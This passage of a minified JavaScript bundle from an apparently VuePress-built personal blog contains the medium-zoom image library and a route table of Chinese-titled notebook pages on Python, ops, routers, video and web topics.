K=fo(M.template)?M.template:document.querySelector(M.template);g.template=document.createElement("div"),g.template.appendChild(K.content.cloneNode(!0)),document.body.appendChild(g.template)}if(g.original.parentElement&&g.original.parentElement.tagName==="PICTURE"&&g.original.currentSrc&&(g.zoomed.src=g.original.currentSrc),document.body.appendChild(g.zoomed),window.requestAnimationFrame(function(){document.body.classList.add("medium-zoom--opened")}),g.original.classList.add("medium-zoom-image--hidden"),g.zoomed.classList.add("medium-zoom-image--opened"),g.zoomed.addEventListener("click",A),g.zoomed.addEventListener("transitionend",F),g.original.getAttribute("data-zoom-src")){g.zoomedHd=g.zoomed.cloneNode(),g.zoomedHd.removeAttribute("srcset"),g.zoomedHd.removeAttribute("sizes"),g.zoomedHd.removeAttribute("loading"),g.zoomedHd.src=g.zoomed.getAttribute("data-zoom-src"),g.zoomedHd.onerror=function(){clearInterval(Oe),console.warn("Unable to reach the zoom image target "+g.zoomedHd.src),g.zoomedHd=null,oe()};var Oe=setInterval(function(){g.zoomedHd.complete&&(clearInterval(Oe),g.zoomedHd.classList.add("medium-zoom-image--opened"),g.zoomedHd.addEventListener("click",A),document.body.appendChild(g.zoomedHd),oe())},10)}else if(g.original.hasAttribute("srcset")){g.zoomedHd=g.zoomed.cloneNode(),g.zoomedHd.removeAttribute("sizes"),g.zoomedHd.removeAttribute("loading");var Se=g.zoomedHd.addEventListener("load",function(){g.zoomedHd.removeEventListener("load",Se),g.zoomedHd.classList.add("medium-zoom-image--opened"),g.zoomedHd.addEventListener("click",A),document.body.appendChild(g.zoomedHd),oe()})}else oe()})},A=function(){return new o(function(k){if(H||!g.original){k(P);return}var V=function oe(){g.original.classList.remove("medium-zoom-image--hidden"),document.body.removeChild(g.zoomed),g.zoomedHd&&document.body.removeChild(g.zoomedHd),document.body.removeChild(I),g.zoomed.classList.remove("medium-zoom-image--opened"),g.template&&document.body.removeChild(g.template),H=!1,g.zoomed.removeEventListener("transitionend",oe),g.original.dispatchEvent(tn("medium-zoom:closed",{detail:{zoom:P}})),g.original=null,g.zoomed=null,g.zoomedHd=null,g.template=null,k(P)};H=!0,document.body.classList.remove("medium-zoom--opened"),g.zoomed.style.transform="",g.zoomedHd&&(g.zoomedHd.style.transform=""),g.template&&(g.template.style.transition="opacity 150ms",g.template.style.opacity=0),g.original.dispatchEvent(tn("medium-zoom:close",{detail:{zoom:P}})),g.zoomed.addEventListener("transitionend",V)})},B=function(){var k=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{},V=k.target;return g.original?A():E({target:V})},x=function(){return M},T=function(){return _},C=function(){return g.original},_=[],b=[],H=!1,Y=0,M=n,g={original:null,zoomed:null,zoomedHd:null,template:null};Object.prototype.toString.call(t)==="[object Object]"?M=t:(t||typeof t=="string")&&c(t),M=Nt({margin:0,background:"#fff",scrollOffset:40,container:null,template:null},M);var I=im(M.background);document.addEventListener("click",l),document.addEventListener("keyup",i),document.addEventListener("scroll",r),window.addEventListener("resize",A);var P={open:E,close:A,toggle:B,update:a,clone:s,attach:c,detach:u,on:d,off:f,getOptions:x,getImages:T,getZoomedImage:C};return P};function cm(e,t){t===void 0&&(t={});var n=t.insertAt;if(!(!e||typeof document>"u")){var o=document.head||document.getElementsByTagName("head")[0],l=document.createElement("style");l.type="text/css",n==="top"&&o.firstChild?o.insertBefore(l,o.firstChild):o.appendChild(l),l.styleSheet?l.styleSheet.cssText=e:l.appendChild(document.createTextNode(e))}}var um=".medium-zoom-overlay{position:fixed;top:0;right:0;bottom:0;left:0;opacity:0;transition:opacity .3s;will-change:opacity}.medium-zoom--opened .medium-zoom-overlay{cursor:pointer;cursor:zoom-out;opacity:1}.medium-zoom-image{cursor:pointer;cursor:zoom-in;transition:transform .3s cubic-bezier(.2,0,.2,1)!important}.medium-zoom-image--hidden{visibility:hidden}.medium-zoom-image--opened{position:relative;cursor:pointer;cursor:zoom-out;will-change:transform}";cm(um);const dm=am,fm=Symbol("mediumZoom");var hm={};const pm=":not(a) > img",mm=hm,Em=500,vm=St({enhance({app:e,router:t}){const n=dm(mm);n.refresh=(o=pm)=>{n.detach(),n.attach(o)},e.provide(fm,n),t.afterEach(()=>{setTimeout(()=>n.refresh(),Em)})}}),co=[Kd,Zd,ef,lf,uf,Hp,lm,vm],_m=[["v-070018d8","/notebook/2019%E5%B9%B4%E5%B9%B4%E5%BA%A6%E6%B1%87%E6%8A%A5.html",{title:""},["/notebook/2019年年度汇报.html","/notebook/2019年年度汇报.md",":md"]],["v-1d07bef0","/notebook/2022-8%E6%9C%BA%E6%A2%B0%E9%94%AE%E7%9B%98%E9%9C%80%E6%B1%82.html",{title:"2022-8机械键盘需求"},["/notebook/2022-8机械键盘需求.html","/notebook/2022-8机械键盘需求.md",":md"]],["v-47da6a9c","/notebook/Mysql.html",{title:"Mysql"},[":md"]],["v-68c3eedb","/notebook/",{title:"这里是notebook"},["/notebook/README.md"]],["v-50f44d9a","/notebook/k2p_%E6%9B%B4%E6%96%B0%E5%AE%98%E6%94%B9%E5%9B%BA%E4%BB%B6v1.9%E4%B8%AD%E7%9A%84ssr-server.html",{title:"[k2p]更新官改固件v1.9中的ssr-server"},["/notebook/k2p_更新官改固件v1.9中的ssr-server.html","/notebook/[k2p]更新官改固件v1.9中的ssr-server.html","/notebook/%5Bk2p%5D%E6%9B%B4%E6%96%B0%E5%AE%98%E6%94%B9%E5%9B%BA%E4%BB%B6v1.9%E4%B8%AD%E7%9A%84ssr-server.html","/notebook/[k2p]更新官改固件v1.9中的ssr-server.md","/notebook/%5Bk2p%5D%E6%9B%B4%E6%96%B0%E5%AE%98%E6%94%B9%E5%9B%BA%E4%BB%B6v1.9%E4%B8%AD%E7%9A%84ssr-server.md"]],["v-5107f338","/notebook/n1%E7%9B%92%E5%AD%90_%E4%BD%BF%E7%94%A8n1%E7%9B%92%E5%AD%90%E4%BB%A5%E5%8F%8A%E7%BD%97%E6%8A%80%E6%91%84%E5%83%8F%E5%A4%B4%E8%BF%9B%E8%A1%8C%E7%9B%B4%E6%92%AD.html",{title:"[n1盒子]使用n1盒子以及罗技摄像头进行直播"},["/notebook/n1盒子_使用n1盒子以及罗技摄像头进行直播.html","/notebook/[n1盒子]使用n1盒子以及罗技摄像头进行直播.html","/notebook/%5Bn1%E7%9B%92%E5%AD%90%5D%E4%BD%BF%E7%94%A8n1%E7%9B%92%E5%AD%90%E4%BB%A5%E5%8F%8A%E7%BD%97%E6%8A%80%E6%91%84%E5%83%8F%E5%A4%B4%E8%BF%9B%E8%A1%8C%E7%9B%B4%E6%92%AD.html","/notebook/[n1盒子]使用n1盒子以及罗技摄像头进行直播.md","/notebook/%5Bn1%E7%9B%92%E5%AD%90%5D%E4%BD%BF%E7%94%A8n1%E7%9B%92%E5%AD%90%E4%BB%A5%E5%8F%8A%E7%BD%97%E6%8A%80%E6%91%84%E5%83%8F%E5%A4%B4%E8%BF%9B%E8%A1%8C%E7%9B%B4%E6%92%AD.md"]],["v-1bb63775","/notebook/adb.html",{title:"adb"},[":md"]],["v-2d9e888d","/notebook/cf-tools.html",{title:"cf-tools"},[":md"]],["v-4ac7a662","/notebook/django%E7%BC%93%E5%AD%98.html",{title:"django缓存"},["/notebook/django缓存.html","/notebook/django缓存.md",":md"]],["v-72251e04","/notebook/docker.html",{title:"2020/5/9 docKer 时区设置"},[":md"]],["v-0e6ec2eb","/notebook/k2p-luci.html",{title:"k2p-luci"},[":md"]],["v-67adb115","/notebook/kodi.html",{title:"kodi"},[":md"]],["v-c65efaa2","/notebook/linux%E5%85%B3%E9%97%AD%E8%AE%BF%E9%97%AE%E6%97%A5%E5%BF%97%E5%8F%8Amysql.html",{title:"日志"},["/notebook/linux关闭访问日志及mysql.html","/notebook/linux关闭访问日志及mysql.md",":md"]],["v-9fbc4e4a","/notebook/linux%E5%AD%A6%E4%B9%A0.html",{title:"linux学习"},["/notebook/linux学习.html","/notebook/linux学习.md",":md"]],["v-5be7464d","/notebook/mac_win10%E5%8F%8C%E7%B3%BB%E7%BB%9F%E4%B8%8B%E7%9A%84%E6%97%B6%E9%97%B4%E9%97%AE%E9%A2%98.html",{title:"mac+win10双系统下的时间问题"},["/notebook/mac_win10双系统下的时间问题.html","/notebook/mac+win10双系统下的时间问题.html","/notebook/mac+win10%E5%8F%8C%E7%B3%BB%E7%BB%9F%E4%B8%8B%E7%9A%84%E6%97%B6%E9%97%B4%E9%97%AE%E9%A2%98.html","/notebook/mac+win10双系统下的时间问题.md","/notebook/mac+win10%E5%8F%8C%E7%B3%BB%E7%BB%9F%E4%B8%8B%E7%9A%84%E6%97%B6%E9%97%B4%E9%97%AE%E9%A2%98.md"]],["v-2f05202c","/notebook/markdown%E5%AD%A6%E4%B9%A0.html",{title:"markdown学习"},["/notebook/markdown学习.html","/notebook/markdown学习.md",":md"]],["v-53b6469a","/notebook/nginx.html",{title:"nginx简洁"},[":md"]],["v-46b5f098","/notebook/oceanus.html",{title:"oceanus"},[":md"]],["v-7d01c4b5","/notebook/teg%E4%BA%89%E9%9C%B8%E8%B5%9B.html",{title:"teg争霸赛"},["/notebook/teg争霸赛.html","/notebook/teg争霸赛.md",":md"]],["v-171fb32c","/notebook/url%E9%87%8D%E5%AE%9A%E5%90%91.html",{title:"url"},["/notebook/url重定向.html","/notebook/url重定向.md",":md"]],["v-688e63da","/notebook/vscode%E6%9B%BF%E4%BB%A3codeblock.html",{title:"vscode替代codeblocks"},["/notebook/vscode替代codeblock.html","/notebook/vscode替代codeblock.md",":md"]],["v-0ba06cdc","/notebook/vue%E4%BF%AE%E6%94%B9%E6%95%B0%E7%BB%84%E5%86%85%E7%9A%84%E5%AF%B9%E8%B1%A1.html",{title:"vue修改数组内的对象"},["/notebook/vue修改数组内的对象.html","/notebook/vue修改数组内的对象.md",":md"]],["v-3b4cc106","/notebook/webpack-source_map.html",{title:"webpack-source_map"},[":md"]],["v-43c0d09a","/notebook/%E4%BD%BF%E7%94%A8onedrive%E5%9C%A8win10%E5%92%8Clinux%E4%B9%8B%E9%97%B4%E5%90%8C%E6%AD%A5.html",{title:"使用onedrive在win10和linux之间同步"},["/notebook/使用onedrive在win10和linux之间同步.html","/notebook/使用onedrive在win10和linux之间同步.md",":md"]],["v-94b8d7f0","/notebook/%E4%BD%BF%E7%94%A8%E7%BD%97%E6%8A%80%E6%91%84%E5%83%8F%E5%A4%B4_%E6%96%90%E8%AE%AFn1%E7%9B%92%E5%AD%90%E7%9B%B4%E6%92%AD.html",{title:"使用罗技摄像头+斐讯n1盒子直播"},["/notebook/使用罗技摄像头_斐讯n1盒子直播.html","/notebook/使用罗技摄像头+斐讯n1盒子直播.html","/notebook/%E4%BD%BF%E7%94%A8%E7%BD%97%E6%8A%80%E6%91%84%E5%83%8F%E5%A4%B4+%E6%96%90%E8%AE%AFn1%E7%9B%92%E5%AD%90%E7%9B%B4%E6%92%AD.html","/notebook/使用罗技摄像头+斐讯n1盒子直播.md","/notebook/%E4%BD%BF%E7%94%A8%E7%BD%97%E6%8A%80%E6%91%84%E5%83%8F%E5%A4%B4+%E6%96%90%E8%AE%AFn1%E7%9B%92%E5%AD%90%E7%9B%B4%E6%92%AD.md"]],["v-185ae8c4","/notebook/%E5%88%86%E8%BE%A8%E7%8E%87.html",{title:"分辨率"},["/notebook/分辨率.html","/notebook/分辨率.md",":md"]],["v-e63c018a","/notebook/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA.html",{title:"甲骨文服务器凉凉"},["/notebook/博客搭建.html","/notebook/博客搭建.md",":md"]],["v-42bda90c","/notebook/%E5%8F%98%E9%87%8F%E5%91%BD%E5%90%8D%E7%9B%B8%E5%85%B3.html",{title:"变量命名相关"},["/notebook/变量命名相关.html","/notebook/变量命名相关.md",":md"]],["v-68b2c946","/notebook/%E5%9B%BE%E5%BD%A2%E6%8A%97%E9%94%AF%E9%BD%BF.html",{title:"图形抗锯齿"},["/notebook/图形抗锯齿.html","/notebook/图形抗锯齿.md",":md"]],["v-03b64b50","/notebook/%E5%AF%86%E7%A0%81%E7%AE%A1%E7%90%86.html",{title:"密码管理"},["/notebook/密码管理.html","/notebook/密码管理.md",":md"]],["v-07bbb0aa","/notebook/%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93.html",{title:"数据传输"},["/notebook/数据传输.html","/notebook/数据传输.md",":md"]],["v-6bb06026","/notebook/%E6%95%B0%E6%8D%AE%E6%95%B4%E7%90%86.html",{title:"数据整理"},["/notebook/数据整理.html","/notebook/数据整理.md",":md"]],["v-579922c2","/notebook/%E6%96%87%E4%BB%B6%E6%8F%8F%E8%BF%B0%E7%AC%A6%E4%B8%8E%E7%BC%93%E5%86%B2%E5%8C%BA.html",{title:"文件描述符与缓冲区"},["/notebook/文件描述符与缓冲区.html","/notebook/文件描述符与缓冲区.md",":md"]],["v-0ad25c3f","/notebook/%E6%98%BE%E5%8D%A1.html",{title:"显卡"},["/notebook/显卡.html","/notebook/显卡.md",":md"]],["v-2305be92","/notebook/%E6%98%BE%E5%8D%A1%E9%9C%80%E6%B1%82%E5%88%86%E6%9E%90.html",{title:"显卡需求分析"},["/notebook/显卡需求分析.html","/notebook/显卡需求分析.md",":md"]],["v-526a70af","/notebook/%E8%B4%AD%E4%B9%B0%E8%AE%B0%E5%BD%95.html",{title:"电子产品购买记录"},["/notebook/购买记录.html","/notebook/购买记录.md",":md"]],["v-44a727a6","/notebook/%E8%BF%90%E5%8A%A8%E6%89%8B%E8%A1%A8.html",{title:"运动手表"},["/notebook/运动手表.html","/notebook/运动手表.md",":md"]],["v-2466882a","/notebook/%E9%87%8D%E7%BD%AECMD%E8%AE%BE%E7%BD%AE.html",{title:"重置CMD设置"},["/notebook/重置CMD设置.html","/notebook/重置CMD设置.md",":md"]],["v-63cd5dba","/python/",{title:"这里是python"},["/python/README.md"]],["v-02431a08","/python/celery%E5%BC%82%E6%AD%A5%E4%BB%BB%E5%8A%A1.html",{title:"celery异步任务"},["/python/celery异步任务.html","/python/celery异步任务.md",":md"]],["v-736bb064","/python/django.html",{title:"django"},[":md"]],["v-71f31afa","/python/pydantic%E7%89%B9%E6%AE%8A%E9%AA%8C%E8%AF%81.html",{title:"pydantic特殊验证"},["/python/pydantic特殊验证.html","/python/pydantic特殊验证.md",":md"]],["v-6b835d08","/python/pythongui-%E7%88%B6%E5%AD%90%E8%BF%9B%E7%A8%8B%E4%B8%8E%E5%AD%A4%E5%84%BF%E8%BF%9B%E7%A8%8B.html",{title:"pythongui-父子进程与孤儿进程"},["/python/pythongui-父子进程与孤儿进程.html","/python/pythongui-父子进程与孤儿进程.md",":md"]],["v-7bcdc38f","/python/python%E4%BB%BB%E5%8A%A1%E9%98%9F%E5%88%97.html",{title:"任务队列"},["/python/python任务队列.html","/python/python任务队列.md",":md"]],["v-26816455","/python/python%E4%BD%BF%E7%94%A8%E6%AD%A3%E5%88%99%E8%BF%87%E6%BB%A4%E8%A1%A8%E6%83%85%E7%AC%A6%E5%8F%B7.html",{title:"python使用正则过滤表情符号"},["/python/python使用正则过滤表情符号.html","/python/python使用正则过滤表情符号.md",":md"]],["v-39784c24","/python/python%E5%AF%B9%E6%AF%94%E4%B8%A4%E4%B8%AA%E6%97%B6%E9%97%B4%E5%AD%97%E7%AC%A6%E4%B8%B2.html",{title:"python对比两个时间字符串"},["/python/python对比两个时间字符串.html","/python/python对比两个时间字符串.md",":md"]],["v-2a51215c","/python/python%E6%89%93%E5%8D%B0%E8%A1%8C%E5%8F%B7.html",{title:"skill"},["/python/python打印行号.html","/python/python打印行号.md",":md"]],["v-38e7669c","/python/%E4%BB%A5%E5%9B%BE%E6%90%9C%E5%9B%BE.html",{title:"以图搜图"},["/python/以图搜图.html","/python/以图搜图.md",":md"]],["v-4e710776","/python/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0-nsfw.html",{title:"nsfw"},["/python/机器学习-nsfw.html","/python/机器学习-nsfw.md",":md"]],["v-6e1b0644","/python/%E7%88%AC%E8%99%AB-pdd%E8%B0%83%E7%A0%94.html",{title:"pdd调研"},["/python/爬虫-pdd调研.html","/python/爬虫-pdd调研.md",":md"]],["v-d4a5a1a8","/python/%E7%88%AC%E8%99%AB-%E4%BD%BF%E7%94%A8%E6%8E%A5%E5%8F%A3%E8%BF%87tx%E6%BB%91%E5%9D%97%E9%AA%8C%E8%AF%81.html",{title:"使用接口过tx滑块验证"},["/python/爬虫-使用接口过tx滑块验证.html","/python/爬虫-使用接口过tx滑块验证.md",":md"]],["v-323d42ea","/python/%E7%88%AC%E8%99%AB-%E8%AE%B0%E4%B8%80%E6%AC%A1%E8%BF%87%E5%8F%8D%E7%88%AC%E8%99%AB%E7%9A%84%E7%BB%8F%E5%8E%86.html",{title:"记一次过反爬虫的经历"},["/python/爬虫-记一次过反爬虫的经历.html","/python/爬虫-记一次过反爬虫的经历.md",":md"]],["v-75f9e5c3","/python/%E7%88%AC%E8%99%AB-%E8%BF%87%E7%AE%80%E5%8D%95js%E5%8A%A0%E5%AF%86.html",{title:"过简单js加密"},["/python/爬虫-过简单js加密.html","/python/爬虫-过简单js加密.md",":md"]],["v-4d543397","/python/%E8%BF%9B%E7%A8%8B%E7%AE%A1%E7%90%86.html",{title:"进程管理"},["/python/进程管理.html","/python/进程管理.md",":md"]],["v-27f8a722","/python/%E9%9D%A2%E8%AF%95.html",{title:"面试"},["/python/面试.html","/python/面试.md",":md"]],["v-744af636","/ops/",{title:"这里是ops"},["/ops/README.md"]],["v-1306d2e8","/ops/mysql_%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6.html",{title:"[mysql]主从复制"},["/ops/mysql_主从复制.html","/ops/[mysql]主从复制.html","/ops/%5Bmysql%5D%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6.html","/ops/[mysql]主从复制.md","/ops/%5Bmysql%5D%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6.md"]],["v-33996b77","/ops/drone.html",{title:"drone"},[":md"]],["v-57d5a7e9","/ops/k8s.html",{title:"k8s"},[":md"]],["v-12fb3630","/ops/oj.html",{title:"oj"},[":md"]],["v-57e15916","/ops/sudo.html",{title:"sudo"},[":md"]],["v-1160d8a3","/ops/ubuntu_x11.html",{title:"ubuntu_x11"},[":md"]],["v-087e08e6","/ops/vmware%E8%99%9A%E6%8B%9F%E6%9C%BA%E7%A1%AC%E7%9B%98%E8%B0%83%E6%95%B4.html",{title:"vmware虚拟机硬盘调整"},["/ops/vmware虚拟机硬盘调整.html","/ops/vmware虚拟机硬盘调整.md",":md"]],["v-37242cf2","/ops/%E3%80%90%E8%BF%90%E7%BB%B4%E3%80%91expect.html",{title:"【运维】expect"},["/ops/【运维】expect.html","/ops/【运维】expect.md",":md"]],["v-bca00f24","/ops/%E4%BB%A3%E7%90%86%E4%BD%BF%E7%94%A8.html",{title:"代理使用"},["/ops/代理使用.html","/ops/代理使用.md",":md"]],["v-564889a0","/ops/%E7%A1%AC%E7%9B%98%E9%80%9F%E5%BA%A6%E6%B5%8B%E8%AF%95.html",{title:"硬盘速度测试"},["/ops/硬盘速度测试.html","/ops/硬盘速度测试.md",":md"]],["v-690fb1f4","/ops/%E7%BD%91%E7%9B%98%E4%B8%8E%E5%90%8C%E6%AD%A5.html",{title:"网盘与同步"},["/ops/网盘与同步.html","/ops/网盘与同步.md",":md"]],["v-168cd3a7","/ops/%E8%B4%AD%E4%B9%B0%E5%8F%82%E8%80%83.html",{title:"购买参考"},["/ops/购买参考.html","/ops/购买参考.md",":md"]],["v-86c67626","/router/",{title:"这里是router"},["/router/README.md"]],["v-357da27c","/router/zerotier.html",{title:"zerotier"},[":md"]],["v-70e270ee","/router/zerotier%E3%80%81%E4%BA%8C%E7%BA%A7%E8%B7%AF%E7%94%B1%E3%80%81DMZ.html",{title:"zerotier、二级路由、DMZ"},["/router/zerotier、二级路由、DMZ.html","/router/zerotier、二级路由、DMZ.md",":md"]],["v-beb5c272","/router/%E5%BC%82%E5%9C%B0%E7%BB%84%E7%BD%91.html",{title:"异地组网"},["/router/异地组网.html","/router/异地组网.md",":md"]],["v-118904ce","/router/%E7%9B%91%E6%8E%A7%E6%9F%90%E4%B8%AA%E6%9C%8D%E5%8A%A1%E6%AD%A3%E5%B8%B8%E8%BF%90%E8%A1%8C.html",{title:"监控某个服务正常运行"},["/router/监控某个服务正常运行.html","/router/监控某个服务正常运行.md",":md"]],["v-307698ed","/router/%E7%AE%80%E6%98%93%E7%9B%91%E6%8E%A7.html",{title:"简易监控"},["/router/简易监控.html","/router/简易监控.md",":md"]],["v-cd2572f4","/router/%E8%AE%B0%E4%B8%80%E6%AC%A1%E7%A0%B4%E8%A7%A3%E5%A4%A9%E7%BF%BC%E7%BD%91%E5%85%B3.html",{title:"记一次破解天翼网关"},["/router/记一次破解天翼网关.html","/router/记一次破解天翼网关.md",":md"]],["v-ce20e166","/video/",{title:"这里是video"},["/video/README.md"]],["v-24dac847","/video/ffmpeg.html",{title:"ffmpeg"},[":md"]],["v-4a06d9af","/video/shinobi-%E5%BC%80%E6%BA%90NVR.html",{title:"shinobi-开源NVR"},["/video/shinobi-开源NVR.html","/video/shinobi-开源NVR.md",":md"]],["v-54f0d1d0","/web/23-5-22pg%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E4%B8%AD%E6%96%87%E6%8E%92%E5%BA%8F.html",{title:"23-5-22pg数据库的中文排序"},["/web/23-5-22pg数据库的中文排序.html","/web/23-5-22pg数据库的中文排序.md",":md"]],["v-744e6dd4","/web/",{title:"这里是web"},["/web/README.md"]],["v-18f94f3e","/web/mysql_%E5%85%A8%E8%A1%A8%E6%9F%A5%E8%AF%A2%E7%9A%84%E4%BC%98%E5%8C%96.html",{title:"[mysql]全表查询的优化"},["/web/mysql_全表查询的优化.html","/web/[mysql]全表查询的优化.html","/web/%5Bmysql%5D%E5%85%A8%E8%A1%A8%E6%9F%A5%E8%AF%A2%E7%9A%84%E4%BC%98%E5%8C%96.html","/web/[mysql]全表查询的优化.md","/web/%5Bmysql%5D%E5%85%A8%E8%A1%A8%E6%9F%A5%E8%AF%A2%E7%9A%84%E4%BC%98%E5%8C%96.md"]],["v-70851bec","/web/project_%E9%A1%B9%E7%9B%AE%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6.html",{title:"[project]项目配置文件"},["/web/project_项目配置文件.html","/web/[project]项目配置文件.html","/web/%5Bproject%5D%E9%A1%B9%E7%9B%AE%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6.html","/web/[project]项目配置文件.md","/web/%5Bproject%5D%E9%A1%B9%E7%9B%AE%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6.md"]],["v-3c9f71df","/web/python_%E4%BB%A5%E5%9B%BE%E6%90%9C%E5%9B%BE%E7%B3%BB%E7%BB%9F.html",{title:"[python]以图搜图系统"},["/web/python_以图搜图系统.html","/web/[python]以图搜图系统.html","/web/%5Bpython%5D%E4%BB%A5%E5%9B%BE%E6%90%9C%E5%9B%BE%E7%B3%BB%E7%BB%9F.html","/web/[python]以图搜图系统.md","/web/%5Bpython%5D%E4%BB%A5%E5%9B%BE%E6%90%9C%E5%9B%BE%E7%B3%BB%E7%BB%9F.md"]],["v-5a4912c0","/web/web_web%E6%A8%A1%E5%9E%8B.html",{title:"[web]web模型"},["/web/web_web模型.html","/web/[web]web模型.html","/web/%5Bweb%5Dweb%E6%A8%A1%E5%9E%8B.html","/web/[web]web模型.md","/web/%5Bweb%5Dweb%E6%A8%A1%E5%9E%8B.md"]],["v-1ce7b414","/web/web_%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%B8%B2%E6%9F%93%E4%B8%8E%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%B8%B2%E6%9F%93.html",{title:"[web]服务端渲染与客户端渲染"},["/web/web_服务端渲染与客户端渲染.html","/web/[web]服务端渲染与客户端渲染.html","/web/%5Bweb%5D%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%B8%B2%E6%9F%93%E4%B8%8E%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%B8%B2%E6%9F%93.html","/web/[web]服务端渲染与客户端渲染.md","/web/%5Bweb%5D%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%B8%B2%E6%9F%93%E4%B8%8E%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%B8%B2%E6%9F%93.md"]],["v-6099f3b2","/web/web_%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F%E5%9C%A8canvas%E9%87%8C%E7%9A%84%E5%BA%94%E7%94%A8.html",{title:"[web]装饰器模式在canvas里的应用"},["/web/web_装饰器模式在canvas里的应用.html","/web/[web]装饰器模式在canvas里的应用.html","/web/%5Bweb%5D%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F%E5%9C%A8canvas%E9%87%8C%E7%9A%84%E5%BA%94%E7%94%A8.html","/web/[web]装饰器模式在canvas里的应用.md","/web/%5Bweb%5D%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F%E5%9C%A8canvas%E9%87%8C%E7%9A%84%E5%BA%94%E7%94%A8.md"]],["v-29eb5e8d","/web/%E5%BC%82%E6%AD%A5%E4%BB%BB%E5%8A%A1%E4%B8%8E%E4%BA%8B%E5%8A%A1_.html",{title:"[异步任务与事务]"},["/web/异步任务与事务_.html","/web/[异步任务与事务].html","/web/%5B%E5%BC%82%E6%AD%A5%E4%BB%BB%E5%8A%A1%E4%B8%8E%E4%BA%8B%E5%8A%A1%5D.html","/web/[异步任务与事务].md","/web/%5B%E5%BC%82%E6%AD%A5%E4%BB%BB%E5%8A%A1%E4%B8%8E%E4%BA%8B%E5%8A%A1%5D.md"]],["v-e50f7ea8","/web/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C_iptables.html",{title:"[计算机网络]iptables"},["/web/计算机网络_iptables.html","/web/[计算机网络]iptables.html","/web/%5B%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%5Diptables.html","/web/[计算机网络]iptables.md","/web/%5B%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%5Diptables.md"]],["v-75d78820","/web/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C_ip%E5%8D%8F%E8%AE%AE.html",{title:"[计算机网络]ip协议"},["/web/计算机网络_ip协议.html","/web/[计算机网络]ip协议.html","/web/%5B%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%5Dip%E5%8D%8F%E8%AE%AE.html","/web/[计算机网络]ip协议.md","/web/%5B%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%5Dip%E5%8D%8F%E8%AE%AE.md"]],["v-8353569e","/web/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C_%E8%B7%AF%E7%94%B1%E5%99%A8.html",{title:"[计算机网络]路由器"},["/web/计算机网络_路由器.html","/web/[计算机网络]路由器.html","/web/%5B%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%5D%E8%B7%AF%E7%94%B1%E5%99%A8.html","/web/[计算机网络]路由器.md","/web/%5B%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%5D%E8%B7%AF%E7%94%B1%E5%99%A8.md"]],["v-8100aa12","/web/%E4%B9%90%E8%A7%82%E9%94%81%E3%80%81%E6%82%B2%E8%A7%82%E9%94%81%E3%80%81%E5%88%86%E5%B8%83%E5%BC%8F%E9%94%81.html",{title:"乐观锁、悲观锁、分布式锁"},["/web/乐观锁、悲观锁、分布式锁.html","/web/乐观锁、悲观锁、分布式锁.md",":md"]],["v-d0dc2cca","/web/%E5%9F%BA%E4%BA%8Eddd%E7%9A%84%E6%9E%B6%E6%9E%84.html",{title:"基于ddd的架构"},["/web/基于ddd的架构.html","/web/基于ddd的架构.md",":md"]],["v-553c7882","/web/%E8%BF%90%E7%BB%B4%E7%9B%B8%E5%85%B3.html",{title:"运维相关"},["/web/运维相关.html","/web/运维相关.md",":md"]],["v-211fff28","/notebook/3D%E5%BB%BA%E6%A8%A1/",{title:"这里是notebook/3D建模"},["/notebook/3D建模/","/notebook/3D建模/README.md","/notebook/3D%E5%BB%BA%E6%A8%A1/README.md"]],["v-7dfc8bcb","/notebook/3D%E5%BB%BA%E6%A8%A1/webodm%E9%85%8D%E7%BD%AE%E5%AE%89%E8%A3%85.html",{title:"webodm配置安装"},["/notebook/3D建模/webodm配置安装.html","/notebook/3D建模/webodm配置安装.md",":md"]],["v-7181ad41","/notebook/graphql/",{title:"这里是notebook/graphql"},["/notebook/graphql/README.md"]],["v-046aced0","/notebook/graphql/ddd_graphql%E6%95%B0%E6%8D%AE%E6%B5%81.html",{title:"ddd+graphql数据流"},["/notebook/graphql/ddd_graphql数据流.html","/notebook/graphql/ddd+graphql数据流.html","/notebook/graphql/ddd+graphql%E6%95%B0%E6%8D%AE%E6%B5%81.html","/notebook/graphql/ddd+graphql数据流.md","/notebook/graphql/ddd+graphql%E6%95%B0%E6%8D%AE%E6%B5%81.md"]],["v-b1bba884","/notebook/graphql/graphql%E5%92%8Cpython.html",{title:"graphql和python"},["/notebook/graphql/graphql和python.html","/notebook/graphql/graphql和python.md",":md"]],["v-67e92c6d","/notebook/graphql/graphql%E9%81%87%E5%88%B0%E8%BF%87%E7%9A%84%E9%97%AE%E9%A2%98.html",{title:"graphql遇到过的问题"},["/notebook/graphql/graphql遇到过的问题.html","/notebook/graphql/graphql遇到过的问题.md",":md"]],["v-17af9222","/python/cv/",{title:"这里是python/cv"},["/python/cv/README.md"]],["v-7443